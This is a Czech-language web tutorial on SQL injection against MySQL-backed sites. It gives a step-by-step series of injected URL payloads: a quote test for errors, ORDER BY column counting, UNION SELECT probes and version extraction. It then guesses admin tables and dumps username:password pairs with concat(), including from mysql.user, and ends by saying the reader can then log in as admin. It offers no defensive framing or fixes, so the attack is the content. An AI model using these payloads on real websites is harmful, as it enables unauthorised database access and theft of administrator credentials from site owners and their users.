SQL injection
Tento článek popisuje jak SQL injection funguje a jak se používá k získání některých informací...

Co je SQL injection?
Stručně řečeno jde o jednu z nejčastějších zranitelností webových aplikací, která umožnuje utočníkovy získat přístup do databáze a tím získat některé informace...
Tak začneme u některých akcí
Kontrola chyby
Řekněme, že máme nějaký web jako je tento
http://www.stranka.cz/news.php?id=1
Nyní si vyzkoušíme zda je chybný a přidáme na konec url '
jestliže je chybný mělo by se zobrazit něco takového
"Máte chybu v SQL syntax, zkontrolujte manuál, který odpovídá vaší verzi MySQL server..."
nebo něco podobného...
To znamená, že je zranitelný na SQL Injection
Nalezení čísla sloupců
Chceme-li nalézt čísla sloupců používáme příkaz ORDER BY
Tak jak ho zjistit? No tím, že budeme zvyšovat počet sloupců než dostame chybu
http://www.stranka.cz/news.php?id=1 order by 1/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 2/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 3/* <– žádná chyba
http://www.stranka.cz/news.php?id=1 order by 4/* <– chyba (Unknown column ‘4′ in ‘order clause’)
To znamená, že to má 3 sloupec, protože jsme dostali chybu na 4
Zkotrolování funkce UNION
funkce UNION nám umožnuje získat více dat v jednom příkazu SQL
http://www.stranka.cz/news.php?id=1 union all select 1,2,3/*
Kontrola MySQL verze
http://www.stranka.cz/news.php?id=1 union all select 1,2,3/*
Nahradíme číslo 2 tímto
@@version or version()
získáme
Kód:
4.1.33-log or 5.0.45
nebo něco podobného
Mělo by to vypadat takto
http://www.stranka.cz/news.php?id=1 union all select 1,@@version,3/*
Můžeme dostat chybu
“union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
Neviděli jsme žádný dokument, který shrnuje tento problém...
Tím my potřebujeme funkci convert()
http://www.stranka.cz/news.php?id=1 union all select 1,convert(@@version using latin1),3/*
nebo hex() a unhex()
http://www.stranka.cz/news.php?id=1 union all select 1,unhex(hex(@@version)),3/*
Tím získáme MySQL verzy
Získání tabulky a název sloupce
Názvy tabulek jsou
username, user, usr, user_name, password, pass, passwd, pwd etc…
takže to bude
http://www.stranka.cz/news.php?id=1 union all select 1,2,3 from admin/*
My už asi víme, že existuje tabulka admin...
Nyní zkontrolujem názvy sloupců
http://www.stranka.cz/news.php?id=1 union all select 1,username,3 from admin/*
(Jestliže se objeví chyba zkuste jiný název sloupců)
Zobrazí se nám uživatelské jméno (username)
Nyní zkontrolujeme jestli existuje sloupec password
http://www.stranka.cz/news.php?id=1 union all select 1,password,3 from admin/*
mělo by se nám ukázat heslo v hash nebo plain-text záleží jak je to nastavené na té databázy (md5 hash, mysql hash, sha1…)
Nyní musíme dokončit dotaz
Na to použijeme funkci contat()
http://www.stranka.cz/news.php?id=1 union all select 1,concat(username,0×3a,password),3 from admin/*
nebo
http://www.stranka.cz/news.php?id=1 union all select 1,concat(username,char(58),password),3 from admin/*
Zobrazí se nám username:password
admin:admin nebo admin:hash
S tímto se můžete přihlásit jako admin...
Jestliže nelze uhádnout správný název tabulky můžete použit toto
http://www.stranka.cz/news.php?id=1 union all select 1,concat(user,0×3a,password),3 from mysql.user/*
Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka
Hodnocení/Hlasovalo: 3.22/18